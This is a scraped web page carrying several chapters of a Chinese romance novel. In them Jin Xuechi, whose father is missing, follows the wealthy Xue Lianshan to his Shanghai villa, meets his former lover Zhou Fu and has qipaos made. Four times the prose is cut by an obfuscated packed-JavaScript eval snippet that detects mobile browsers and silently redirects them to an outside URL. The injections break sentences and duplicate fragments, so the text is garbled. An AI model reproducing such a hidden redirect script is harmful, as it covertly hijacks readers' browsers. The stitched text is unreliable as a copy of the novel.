他就算是来广东出差,大多也是去深圳、广州,来粤东的时候实在少。上次去了金家,看到的几位粤东女子就是金文彬的姨太太,外加一个还处于黄毛丫头状态的金雪池。但金文彬此人的品味呢比较粗俗,只爱胸大臀大、腰细腿长的,至于脸蛋如何还是其次。薛莲山实在难以苟同,没有发现妙处。 而现在——现在,他要承认粤东是出美人的,还是最美的那一款,见之忘俗。 金雪池的骨相好,鼻子挺、双颧高,皮肉紧实地贴着骨头,没有半点松弛浮囊感。这就和哪里的女人都不同了,哪里的女人都如花似玉,就她凉而硬,像一柄簪子。此刻她没有笑,也看不出悲喜,带着一种盈盈的、古老的端凝;望着他,他静静地回以端凝。 最终还是金雪池先低下头,“抱歉,薛先生,我......” 定青敲门进来,把行李箱递给她。这么一打断,她也不知道该说什么了,就默默坐回椅子上,把那包稻香村拆了吃,再不吃东西,肚子叫的声音就要给他们听到了。枣糕甜而不腻,是很好吃的,是她原本要送给老豆的。 种种情绪冲击中,她心力交瘁,一口一口地吃着,脑子就逐渐放空,也没意识到自己又在流泪。薛莲山搬了个凳子坐她对面,等她把嘴里含着的都咽下去,才开口说:“你是从外地回来的,是不是?” “我在北平上学。” “潮州人知道吗?” “......我不清楚,他也许说过。” “那么,你也不能回北平了。” 金雪池一听这话,更茫然了,“但是我还没有毕业。” “现在不是谈能不能毕业的时候。” “抱歉,抱歉。那我试着去找工作。薛先生,前面对你说了一些话,是我太心急了,请别放在心上。我知道你人脉广,可不可以帮忙找找我父亲呢?因为警察说没见着尸体,他兴许没有死。就算是找到了,我们......我们也不要矿场了,我还可以现在立个字据,让他把银行的所有存款都给你——” “不要这么说,我难道像坏人么?”薛莲山打断她,“金先生是我的朋友,我当然会找他。你是他的女儿,我也愿意替他照顾你。我又想了想,没有大户人家的小姐会出去找活干,一个人在异地他乡,也不安全。” 金雪池等着他的下文,半天没等到,一抬头,发现他正凝望着自己。 五年过去,他的样貌一点也没发生变化,还是那么清瘦、温文、仪神隽秀。这样漂亮的男人,一生能见到几个呢?她的表情没有变化,心里已经酸楚得一塌糊涂。因为知道这漂亮男人下一句要接混账话了。 “你可以跟我回上海。” “我换个去处吧,上海的房租太贵了。” “不要紧,我有地方给你住。” “住你家里么?” 金雪池把后一句话咽了下去:你把我当什么人? 薛莲山没说是不是,只是略惊讶的表情,好像疑惑你怎么又这样不礼貌。他同样也咽下去了一句话:树倒猢狲散,你现在什么人都不是。 “选择权在你,请好好考虑吧。”他温声说,随即起身往木榻上一躺,将床留给她。金雪池不领他的情,进浴室洗澡、换了套干净衣服,趴在桌上休息。因为瘦,肘部凸起的骨头抵在桌面上,压得很疼;她把脸埋在臂弯里,睁着眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938715|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看上我了。她想,身体一阵阵战栗着,不知是因为快乐还是因为痛苦。 这一夜两人都没睡好。天不亮定青就来了一趟,和薛莲山耳语几句,又出去了。薛莲山转向她,“中午一点钟有最早的一班车,到汕头厦岭。我回去也是顺路的,你怎么打算?” “我就在厦岭下。” “好。”他当即掏出钱包,拿了一大沓纸币出来。金雪池没有接,“薛先生愿意帮我们家的忙,帮我买票,我就已经很感谢了。我身上的钱够用。” 薛莲山从善如流地把钱收回去,两人再没有交流。中午吃了定青带回来的包子,开车直往西门外的车站去。汽车是租来的,定青去还,他领着她找到对应的车厢和座位——他们的座位还是分开的。金雪池坐下去,很单薄的一片人。 他用手撑着前后两排的椅背,投下很大一片阴影。几秒后那阴影仍未散去,金雪池抬起头,他脸上带着一种落寞而无奈的笑,叹了一口气,也就走了;一手插在口袋里,一手握着皮夹,连背影都是好姿态。 她忍不住一直看,走到厢门口,他忽然回了一下头。金雪池大惊,表面上什么都没流露出,只略一颔首,从从容容地坐下了。 下午三点,火车到了汕头厦岭。金雪池想要不要找他道个别?但她甚至都不知道他在哪一节车厢,算了。她提着行李下了车,习惯性地要叫人力车,又意识到自己并不知道目的地。现在她要租房子,还是一路走、一路看比较好。 提在手里的箱子越来越沉,左手换右手,右手换左手。半分钟不到,她又在太阳下折腾出一身汗。心下烦躁,神经也迟钝,金雪池完全没有意识到有人离自己越来越近;等觉察的时候,那人只在她身后五米处。 她顿住脚步,那人也不走了。 她转过身,那个戴墨晶眼镜的人就悠悠踱进了巷口。她开始往回走,过了巷口,那人又从巷子里钻出来,跟着她。 金雪池撒腿就跑。跟踪者也跑起来,几乎几步就追上了她,一把拉住她的褂子下摆;她举起皮箱砸向对方,角部包裹的铜片砸到对方额上,凿了个口子,鲜血横流。 “沤饵!”那人骂道。 她完全没有气息说话,只顾狂奔。火车们仍然大开着,不少人站在门口抽烟,也有人拖着大箱子慢慢挪动。她猛地冲回车厢,在满座惊愕的目光中,大喊道:“薛先生!” 一张张陌生的脸全转向她,像吊诡的葵花。她心里愈发怕,顺着车身,一节节往后跑,一路跑一路大喊:“薛先生——薛先生——” 定青迎着她跑过来,“在这里!” 她远远望到了主仆二人,立刻冲过去,快要到时又堪堪刹住脚步,停在他座位边上。薛莲山一把握住她的手腕,“怎么了?” “有人追我!” 当然有人追你。 昨晚薛莲山把她拦住,即使开车兜了许多路,也始终注意到到有一辆车远远地跟着。回了宾馆,他就在后悔,不该多生事端。现在仇家是忌惮着自己,不会贸然动手,但保不齐什么时候会忍不了呢?干脆给她买张票、让她自己走,死在外面,他看不到,也避免了良心上的谴责。 但是金雪池是个美人,事情就完全不同了。冒多大的风险都值得。 “跟我回上海。”他说。 “好,好,”金雪池完全六神无主,“那我坐回去了......” “坐我旁边吧,那人不会跟过来。” “这里没有人吗?” 他一开始就把这个位置的票买下来了。 7.上海 到了广州,往后就没有铁路可走了。最快的路径是从广州乘船至香港,再转乘英国邮轮经上海。 在香港的宾馆,他开了两间房,自己和定青一间,金雪池一间。晚饭还是一起吃的,他心情显然很好,问道:“从前来过香港没有?” “没有。” “金小姐真是养在闺阁里的。” “但是爸爸经常会来。我想,如果他要避难,可能就逃到香港来了。” “好,我知道了。” 金雪池怀疑他根本就是漫不经心,心情郁郁的,借口说晕船,提前回房了。因为行李丢了,也没有可以换洗的衣物,直接就往床上一躺。把手伸进褂子里的夹层,她摸到了一大卷纸币和一颗骰子。 当初离家的时候,金太太建议她带一包家乡的土走。她觉得带一包泥巴很傻,没有采纳,只带上了这枚骰子。这是她的五岁生日礼物,金文彬亲手用牛骨做的,陪了她十多年。 她是绝不敢问金文彬还在不在人世这个问题的。慢慢地把那颗骰子攥在手心里,她只问:跟他回上海是正确的选择吗?是双数,不是单数。 把骰子对着天花板抛出去,一把握住,又放回夹层里。她没有看点数,来都来了。 第二天清晨上了回上海的船,到舱房认了个座,薛莲山就说:“下面闷热,到甲板上吹吹风吧。” 她谢绝了他,他只得自己走了。活动室里乌烟瘴气,又是抽烟的、又是打麻将的,因为船从香港出发,外国人也格外多,本就污浊的空气中充斥着他们的体味。 金雪池穿着文明新装站在门口,简直是格格不入。所谓文明新装,就是上穿浅色褂子,下面一条黑长裙——几十年前的“文明”了,放在现在也过了时。何况她留了一帘薄薄的刘海,头发依然蓄得很长,先编成辫子、再盘起来,也不能和现在流行的短发、烫发比。她知道自己长得美。但是从头到脚,没有哪里不显示她来自一个守旧的家庭。 北大男生那么多,到处自由恋爱,也没谁恋上她。薛莲山看上她什么了? 又站了一会儿,实在闷得透不过气,金雪池还是上了甲板。薛莲山原是用胳膊撑在栏杆上的,远远看见了她,转了个身,背靠栏杆,并不凑过去。海风很大,灌进她的袖子里,使那小白褂像海上的泡沫,随着浪水的起伏,忽上忽下,在她身上浮动。 在他看来,中国的女人穿衣有两种美。一种是有曲线的身材穿紧旗袍,鼓蓬蓬的,是“牡丹真国色”;另一种就是薄而小的身材穿宽旗袍,渺如幽魂,是“罗衣何飘飘”。金雪池能在此类中拔得头筹。 这样的美人,穿个黑长裙简直是浪费。谁教她这么穿的?金文彬这个土鳖,给姨太太就穿桃红,给女儿就穿黑白,实在是没品到了家。 傍晚时分,轮船到了十六铺码头。 旅客都收拾好了行李,在舷梯口排队等着。过道里密不透风、人头攒动,金雪池什么也看不见,听人嚷嚷“舷梯开了”,就跟着队伍往前走。后头有人一直推她,身边的薛莲山伸出胳膊虚虚拦在她背后。 待她走到舷梯口时,从下往上一望,惊呆了。 早听闻黄浦江水浑浊,在晚上完全看不出来;又因着江滩上竖了很多广告灯牌,映在江面,是黑上的绚彩。江面上,舢板、挂星条旗的远洋货轮、还有喷着黑烟的招商局小火轮,搅出漩涡,五彩缤纷的灯光就转着圈往里旋,好似天上的烟花。钢铁巨兽似的起重机地吊起货箱,一起一落,引发船身的阵阵震颤,又将烟花震碎。 声色犬马,极乐世界。 她提起裙子往下走,走到地面上,又看到了上海的另一面。脚下的水门汀地面泛一层油光,缝隙里塞了不少鱼鳞、菜叶、烟头,被皮鞋踩来踩去,都瘪而发黑。各式各样的语言在码头上蹦跳,一个人力车夫冲到她面前,唧唧啾啾说了句上海话——是不是上海话她也不知道,反正没听懂。 “不用,不用。”薛莲山朝人摆手,同时大步向前,“金小姐,随我来。” 金雪池哪敢不跟着他,她感觉在这个地方一个不注意就会走丢。薛莲山带她上了一辆车,两人都进后排;等待片刻,定青拎着行李到了,坐副驾驶。 “喜欢这地方吗?”他一边说着,一边把自己这侧的车窗摇下来,方便她看风景。金雪池就往他那边看,他忽然伸手过来,吓了她一大跳,紧紧向后贴着靠背;薛莲山似笑非笑地看她一眼,只是帮她也把窗户摇下来。 水汽和轮船的煤烟味畅通无阻地吹进来。金雪池深吸一口气,“还可以。” 车子沿着外滩跑了一阵,拐入南京路。玻璃橱窗里站着不断变换姿势的真人模特,有轨电车铛铛穿梭,各式各样的男人、女人,穿的好时髦。 她简直像刘姥姥初入大观园,来了上海,才知道北平都是土气的。在一股一股热浪中,她感到了一点被睥睨的寒意。 薛公馆坐落于愚园路。和她想象中那种精致、阴冷的大家族宅院不一样,这是一座中西合璧的花园洋房,中的部分只为点缀,西的部分才是主体。也没有众多仆从,应门的应门、迎客的迎客,除了铁门口的卫兵以外再没见到一个人,还是薛莲山自己把大门拉开的。 金雪池径直往里走,他站在后面道:“地板打了蜡,换双拖鞋吧。” “哦!”她猛地后退几步,发现地板已经被踩出几个脚印,赶忙道歉,“对不住,我没有来过这种西洋公馆,不知道要换鞋。” “没事。”他指了指门口摆着的柚木长凳示意她坐下,在鞋柜里找了一番,取出一副崭新的绣花缎面拖鞋递给她。金雪池一眼瞥去,里面有好多新拖鞋,绣的花还各有不同。 到了这个时候,总算出现了一个妈子。她也不下来迎接主人,就站在二楼的栏杆边,乐呵呵道:“薛先生,欢迎回家!” “宋妈,晚上好。”他笑道,“这位是金小姐,一位朋友的女儿,你给她收拾一间房出来吧。” 宋妈似乎有话要说,然而扫了金雪池一眼,不便直接说,“好。你要洗澡么?我放热水?” “不用,我再出去一趟。” 金雪池没料到他还要出去,自己陡然变成一个人,只能硬着头皮往里走、坐在沙发上。今天又只能穿脏衣服,明天早上一定要出去买衣物。正盘算着,有人沿楼梯下来了,她还以为是宋妈,抬头一看,却是一位陌生女子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943757|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那女子有一对秀气而窄长的内双眼皮,鼻头、嘴唇微带肉感;穿素雅的白旗袍,上面印着点点梅痕。因为气质的缘故,明显不是歌女、舞女之流,眼睛大睁着,一直是一种恍惚怔忡的神情。 金雪池讪讪地站起来,毕竟不知道薛莲山有什么家人,这一位兴许是他妹妹?侄女? 对方也有点举棋不定,但因为她半天不说话,还是率先开口:“你好,我叫周馥。请问你是?” “......我父亲和薛先生是朋友。” “哦!”周馥瞧她年纪确实不大,正想寒暄几句,又意识到她没有告诉自己姓名。要不要问呢?正在这尴尬关头,宋妈来了,揶揄地一人看了一眼。这一眼实在很厉害,看得金雪池什么都明白了。 来的路上她还抱侥幸心理,家中有难,跟着薛莲山也是无奈之举。这下好了,看清楚了吧?进了他的家门,就默认是他的情人。金雪池就算嫁不进这么阔的人家,也绝不给谁当情人。不要脸的东西!等危机解除后,她必须先还掉他的人情和钱,再一身轻地离开这里。这中途倘若他逼迫她就范,她死了也不会从。 揣着满肚子愤恨,她跟着宋妈进了客房。宋妈还是那副暧昧的表情,正想说什么,她堵了一句“谢谢”,把门关上了。 半个小时后又有人来敲门。是用指关节敲的,轻轻三下,她就知道是薛莲山,仍坐在床上一动不动,说:“薛先生,我准备睡了。” “穿脏衣服睡吗?” 她走到门口,“你是去买衣服了?这个点还有店铺开门?” “有家百货公司能卖均码的衣服。比较朴素,你将就着穿穿。” 金雪池只好给他开门,接过他手上一摞衣服,“真谢谢你,大晚上跑一趟。” 薛莲山等着她提周馥的事,阴阳怪气几句也好,但是她接了衣服就缩回去了,礼礼貌貌关上门,又响起一声反锁的咔哒声。门都怼在鼻尖上了,他退后半步,兴致盎然。 他在上海,是有名的风流。风流和下流有区别,意味着他并不只对床上那档子事感兴趣,他是真真切切地喜爱女人,愿意追求她们,送花、约会、逛街,情浓时分,水到渠成地睡几觉。只是每段恋爱都谈不长,女人一谈恋爱就容易动真格,渐渐开始期盼他只爱自己一个,在家里一哭二闹三上吊,他就丧失兴趣了,宁愿给一笔钱打发她们走。 目前为止,还没有一个前女友说过他坏话。有什么可说的?他又付出时间、又付出金钱,会讨女人欢心,自身相貌条件也好。无可挑剔。她们失魂落魄地继续生活,不明白怎么跟别的男人分手后无事发生,他是这么无可挑剔的一个前男友,她们却偏偏在他这里受了重伤。 这周馥是他的前女友,两个月前分了手,他一直在给她寄生活费,直到她找到工作。然而她工作也没找到,租的房子还漏了水,今晚又跑到他这里来了。话也不跟金雪池说清楚,气了人家一大跳。 不过,没关系。 对于金雪池,他一点也不急于求成。倘若金雪池很快沦陷在他的攻势下,那么他的兴趣来得也快、去得也快;就要这副千金小姐做派,清高、戒心重,才是一场征服的好游戏。 8.薛公馆 早上起来吃早餐,周馥也在。金雪池就是对几女围一男的格局感到非常不适,她不喜欢这样,要么她走,要么周馥走。可是她没法让周馥走,她也离不开这根救命稻草。 吃完饭,周馥坐在沙发上看报纸,似乎并不急于出去租房或找工作。薛莲山是要工作的。他走到前厅,一手撑着玄关,一手用玳瑁鞋拔穿皮鞋。金雪池追过来,明显感到周馥藏在报纸后的眼睛在追踪自己,硬着头皮道:“薛先生,我想和你说几句话。” “请吧。” “不知道郝老板的人能不能抓到?如果问题一直不能解决,我要一直住在这里,就太打扰你们了。” “没有打扰这一说,我可以明白地告诉你,我和周小姐已经没关系了。她在我这里过渡一段时间,等一个看好了的房源。”他说这话时好像别有意味,然而不等她体会明白,又很快说:“几天后我会让你见一个人,他会保证你在上海的安全。这段时间委屈一下,将来随你住哪里。” 他一句多的话也没有,大概是急着上班,转身走了。独留金雪池疑窦丛生。 她忽然有了一种猜测:薛莲山从头到尾都并没有看上自己的意思。买车票的时候,他也说随她选;现在让她住在家里也只是一种保护,事成之后,随她住哪里。她不可自拔地回忆起他说过的每一句话、做出的每一个动作,竟找不出一处冒犯。 他就是这样的人,当初要捡个石英逗十四岁的黄毛丫头玩,早晨连宋妈都要问候一句。他有钱有貌,在你惨遭变故的时候伸出援手,你还要说他喜欢你。到底是谁不要脸? 金雪池平时并不是容易自我怀疑的人,但此刻简直臊得慌。 而在周馥的视角里,她只是握着一杯牛奶,面无表情地靠在沙发上。莲山说她叫金雪池。周馥听到的瞬间,都要为这个好名字拍案叫绝。什么是好名字?不是吉利的,不是读音或字形美的,是名副其实。在昏暗的灯下,她的肤色几乎就是金的,像涂了金的菩萨面;眼睛是两丸黑水银,冷冷冽冽,寒潭沉雪。 她没法不在意她,哪怕自己是过了气的人了。她那么美,对莲山又那么疏离。她知道莲山的性子就是贱,别人越不理,他越上赶着撩。 “金小姐。” 金雪池回过神,对她一点头,“你好。” “你是哪里人?” “潮州人。” 周馥自己也觉得这问题问得莫名其妙,莲山不就是刚从潮州回来么!也许是问题太蠢,对方简言扼要,显得很冷淡。她不知道要不要继续尬聊,金雪池却主动开口:“你呢?” “哦,我就是上海的。” 金雪池主不太会聊天,搜肠刮肚道:“家里人很多吗,你需要搬出去住?” 她并没有别的意思,在周馥听来,却像是逐客令,眼睛马上又睁大了。但因为自己确实不占理,半解释、半分辩道:“我爸是个中学老师,我哥哥暂时还没分家出去,在邮局当职员。下面还有一个弟弟、一个妹妹,挤在两层楼里。何况,家里的经济不好,我在外面自负盈亏。你呢?” “我家的经济还可以。” 周馥觉得这人说话很奇怪,“是吗?” 金雪池点点头,“不过现在不行了。我想出去找事做,你有什么推荐的吗?” “你读了多少书?” “大学肄业。” “那好办。我本来还要推荐你去当店员,既然考过大学,选择就更多啦。可以去记账,可以当家教......哎,当家教好,我可以直接问爸爸有没有学生需要家教。你能教哪些科目?” “除了英文都可以。” 家教这个工作太合心意了,她差点以为自己要去洗盘子、当佣人,过去除了私塾先生,没听说谁把老师请到家里教课,真是时代在变化。“麻烦你帮我留个心,到时候我拿了工资,给你包个红包。” “咦,没有人用钱谢人的啊!”周馥笑道,“金小姐,你应该说‘到时候我拿了工资,请你吃饭’。” 金雪池其实是怕她不想跟自己单独出去吃饭。她就不喜欢和别人一起吃饭。嘴里含着东西,还要绞尽脑汁地找话说,人一陷入沉默,尴尬就在叫嚣。除非是和很熟的人,譬如老豆。再除非是和很会让人感到舒服的人,譬如薛莲山。 白天不知道干什么,她就在薛公馆里探险。比起通过聊天了解一个人,她更喜欢通过搜集证据了解一个人,像推理一道题目。 客厅的杂志全是关于汽车的,再加上在潮州时,他亲自开车、还开得相当好,说明他很喜欢车。书房里堆的不是四书五经,大多关于化工、地质、管理学、经济学,和他的工作相关;其他领域的涉猎也广泛,社会艺术历史科学无所不有,在与人闲聊时,可以援引一二。 没有小说、画本之类的闲书,很务实,不浪费时间。 金文彬喜欢在书房墙上挂奋斗语录,譬如“大展宏图”“天道酬勤”等等,西式装修就不太适合挂书法了。茶具也没有,神龛也没有,祖宗排位也没有。虽然没有进他的卧室,但外面晾的衣服全是洋装,想来他也不会穿长袍马褂。由此观之,他还一个追求西化的人。百分之九十九的西化。习俗全是西方的好,只有食物和女人是东方的好。 他喝酒吗?她猜他喜欢洋酒胜过白酒,下贮藏室一看,果不其然。 他抽烟吗?他绝不碰大烟,纸烟大概也碰得少,因为抽起来会有一股焦糊味,而他对香气有追求......水烟、烟斗是旧时老爷的风格,他不屑于。如果他抽,她觉得他会抽雪茄。雪茄的焦油和尼古丁含量非常小,几乎没有烟的味道,倒是可以定制成香草、蜂蜜等口味。可惜不好进他的卧室求证。 他赌牌吗?金文彬曾说过,只是当个玩,有人约就去。 他逛堂子吗?不不不。逛趟子是一种低端的消费,他偏好谈新式恋爱,找的女孩子不仅干净,也都来自正经人家。该是说他对女人爱得由外及内,还是说他对女人只带欣赏、全无感情? 这是金雪池判断人——尤其是男人——最重要的四个问题。得出的结论是,他天生地有自制力,因此不必回避欲望。 当晚薛莲山回来,三人又围一桌吃饭。菜品发生了微妙的变化,金雪池不知道;周馥在这里吃了一年的饭,知道厨子从前是很少煲汤的。每回看到汤第一个端上来,她的心里就一沉。 他说:“明天我请了下午半天假,带金小姐去做几套衣服,她一套可以出门的衣服也没有。星期天她得见二少爷一面。” 其实信息都是给金雪池听的,但话是对周馥说的。周馥脸上挂着一种摇摇欲坠的笑, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948286|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不是说带我看房子吗?” “我不能请太多假,要么,我把地址和中介的电话给你,你自己去看?” “原来买衣服比寻找安身之所还重要。” 薛莲山简直没法跟她沟通,也不方便把话说得太难听,自顾自地吃东西去了。 他们直至第二日下午都没有交流。薛莲山来接金雪池出门的时候,周馥正坐在沙发上——其实她房里又有书又有梳妆台,可以自己跟自己玩很久,但为了监视薛莲山的行踪,她就钉在沙发上了——眼睛肿的像桃子。金雪池恨不得趴在地上匍匐出门,不叫她看到。 薛莲山毫不理会,来到后院,指着并成一排的五辆小汽车问:“想坐哪一辆出门?” 金雪池其实觉得都可以,指了最面前的一辆,车头上有个长翅膀的女人的立标。 他平日里说话都是慢条斯理的,此刻突然有点神采飞扬的意思,高兴道:“金小姐眼光真好!这是劳斯莱斯新推出的Phantom系列,三个月前才从美国运过来。你知道它有什么优点吗?旁边那台宾利换档就不够流畅,必须要两脚离合,且转速匹配不上的话有概率失败;但是这辆Phantom首次增加了同步器,也就是说我推入四档的时候只需要单手——” 他果然没叫汽车夫,亲自钻进了驾驶室。金雪池莫名其妙就笑了一下,他在后视镜里看了她一眼,热切地把话讲完:“——单手盲操,一秒钟就能换好。这是里程碑式的进步。怎么了?” “没什么。”她说,“它真厉害。” 他说:“堪堪够格当金小姐的车辇。” “成记裁缝店”的门面并不大,甚至显得有些旧,然而店里人很多。几位太太在布架边摸料子,学徒给一个小男孩量体,一对情侣在镜子前推来推去。薛莲山说了句“借过”,柜台后的一个小个子男人顿时跳了出来,“薛先生!你好吗?” “我好得很呀。”他介绍说,“金小姐,成掌柜。这回来是想给她做几身衣服。” “哎哟,金小姐,你好你好。真是有气质!来,我先给你量量。” 成掌柜是善于招待顾客的,薛莲山也不去打岔,拣个凳子坐下了。量好尺寸,成掌柜拿了几件成衣下来,“金小姐,你试试看。布料、花纹都能改,现在就是看看款式。哎,对,试衣间在那里,没有人。” 她进去了。他转向薛莲山,满面笑容地做了个口型:新的? 金雪池在试衣间里,脑子微微发热。她的衣服全是姨娘们亲手做的,也挑朴素、简单的款式做,从来没有定制过旗袍。刚把旗袍换上,就预感到了效果有多好;出门把镜子一照,更是惊喜。 旗袍的剪裁里处处是巧思,整体偏窄,下摆却在臀线下微微扩张,造成一种“衣笼人”的飘飘感;腰线提到肋骨下沿,拉长了的腿的比例;收省不多,虽然她的腰细,可以收得紧紧的,却特意在衣服和身体间留出空间,任风穿流而过。 难怪说“人靠衣装”,她这会儿真觉得自己美极了。 薛莲山在她身后站起来。店内余人的身影恰好都退出了视野之外,而他穿西装、她穿旗袍,同框映在窄长的镜子上,竟像一对般配的新人。金雪池吓了一跳,连忙往右挪了一步。 成掌柜于是凑过来问:“金小姐觉得有哪里要改的?” 9.珍贵 “我觉得开衩有点高,其他地方都很好。” “可以,开衩给你改低!要什么料子?什么花?什么扣子?” “你决定吧。” 成掌柜看她肤色并不白,就拿了些冷色调的布料往她身上比划,有成衣的直接给成衣试。她试来试去,觉得靛青也好看、墨绿也好看、檀紫也好看,格纹也好看、印花也好看、刺绣也好看,恨不得匹匹都要。她真该之前多来几次裁缝店,前几次露怯露给家长看,好过在薛莲山面前显得没见识。 那边,学徒应声给薛莲山拿了个布袋来。薛莲山倒出一颗珍珠,比在她的领子上,“你看,浑身是暗色,这里要有一颗珍珠提亮才好。” 金雪池一眼就直觉那珍珠贵得很,连连摆手,“薛先生,我选好了,就这匹青色的吧。” 他愣了一下,“只有这一匹好看吗?” “都好看,我随便选的。” “你把好看的全挑出来,可以做不同的设计呀,这一件滚一道银边,那一件下摆绣竹子......裁缝店不比百货公司,进货是随机的,你现在不把喜欢的买走,被别人买去,以后可能再碰不到了。” 那边成掌柜也帮腔说:“一口气拿五匹,我给你们打个折,把零头抹掉,只要一百一十大洋的布料费。” 金雪池听着要昏厥,做家教一节课肯定没有一大洋。“不行,薛先生,太贵了。” 他还以为都是没入她的法眼,把什么时候带她去找苏州的裁缝都想好了,闻言松了口气,“怎么跟我出来还谈钱。” “我真的不能欠你太多。至于说喜欢不喜欢,那是将来我自己有钱后才能考虑的问题,现在只要一两件得体的就够......” “金小姐,金小姐。”他连着叫了她两遍,像让小孩子安静下来一样,语气近乎温柔,“如果我下午出去跟人打牌,可能会输好几百;用来陪你买衣服,也是几百。钱不多,横竖也要花出去,当然是和你在一起更让我开心些。为什么要拒绝让我开心呢?其二,十九岁和二十三岁穿同一件衣服,效果就是完全不同的了。你的青春不比什么都贵吗?” 金雪池微弱的抵抗宛若烛火,在风中一摇,灭了。 他替她做好决定,找掌柜结账,布料、珍珠扣、手工费算下来,价格涨到了惊人的近四百。而她有气无力地坐在长凳上,像个一半做梦、一半醒着的人,知道有什么在不可制止地滑向深渊,然而动也不动一下,觉得只是梦而已。 从店里出来已经不早了,薛莲山要带她去吃饭。她不肯,“家里不是有饭吗?” “我不回家吃,我还要回公司。” “那么麻烦你先送我回去。” 他笑道:“金小姐,我陪你一下午,你陪我吃顿饭都不愿意吗?” 金雪池沉默片刻,最终还是说:“不太合适吧,周小姐会不高兴。”其实在避重就轻,周馥和薛莲山的关系是一回事,她和薛莲山的关系又是另一回事。上次说了句“住在你家么”,让她一直臊到现在。薛莲山的态度又这样暧昧不明,他不说清楚,她再不敢单方面定义这段关系。万一他笑她自作多情呢? 可是她真觉得他喜欢自己。 “她让你为难吗?”薛莲山直接说,“我已经和她分手了,只是她没有房子住,我理应帮衬一下。你要是介意,我让她明天就走。” “不!”她连忙道,“不不不,没有,你不要这样。” 薛莲山一点头,“好,我不这样。” 然后就没有人说话了,车向一家日本餐厅驶去。在门口就要脱鞋,一位女侍者把他们引到包厢里去,疑似提前预约好的。入座后,女侍者把菜单递给他,他递给她。她表示从未吃过日本菜,点不好。 薛莲山笑道:“点餐哪有什么好不好的,你给我们点的菜,那都是好。” 金雪池不知道该怎么接话,只好低头看菜单,上面也没标“烧腊”“汤煲”“小吃”“凉菜”等等分类,是直接写菜名的,让她怀疑日本人的菜式并不怎么丰富,可能在制作工艺上大差不差。还是按照菜单的排布均衡地点了几道。 结果证明她的推断没有错,几道菜都是生冷的。要么直接一块生冷的鱼肉,要么用几片冷菜叶子裹鱼肉,要么冷饭裹鱼肉。她觉得味道一般,但也可能是没品味的表现,只是不声不响地嚼着。 “不喜欢吗?” “一般吧。” 薛莲山都摸出她的语言风格了,“都可以”就是平等的喜欢,“一般吧”就是平等的不喜欢。“那么你可以尝尝热菜。就是要先试一遍,才知道喜欢什么。” 他召来女侍者又加了几道菜,其中有一道关东背开式蒸鳗鱼的味道很好,还有一盘酱香鸡肝,配鱼子酱。酒饱饭足后,上了车,金雪池才意识过来她确实没点好,后来薛莲山把正确的菜品都又点上了。 开着窗慢慢在街上兜风,他说:“这家店并不是最高档的。租界里有高档日料店,每个包厢都有单独的操作台,师傅会在你面前一边介绍、一边现做。你想想看,一个日本老头喋喋不休,半天才慢腾腾地剐下几片鱼给你。” “你是嫌慢,还是嫌吵?” “我嫌日本老头。不然的话并没有什么不好,刚才我们就吃得很慢,也一直说话......啊,抱歉,是我一直在说话,你不会嫌吵吧?” “你并没有说多少,只是在向我做介绍。我下次就会点了。” 她是第一次主动正向评价他,薛莲山的心情十分愉悦。又听她说:“你还是应该先忙周小姐的事情。你和她分不分手,是你们之间的事情;我......我是暂住,本不该打扰你们,如果她因为我而生气的话,实在是不必要。” 他觉得这番发言十分天真可爱,答应下来,第二天果真请了假陪周馥去。 新衣服寄来了一件。因为急着摆脱仇家,她不断地催薛莲山,于是在七月中旬,二少爷大摇大摆地来了。 这位少爷大名邵子骏,虽然江湖人称一句“二少爷”,但他并非邵老爷子的亲生儿子。同理,大少爷邵子驹也不是。邵老爷子近五十岁才发迹,一直没有娶妻,遂也膝下无子,只好挑帮会里年纪小的男孩认作养子。众多养子中,数邵家两兄弟干活最得力,这些年渐渐站到幕前,替代了邵老爷子的位置。 他也瘦,但不同相貌的人就能瘦出不同效果,薛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952383|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 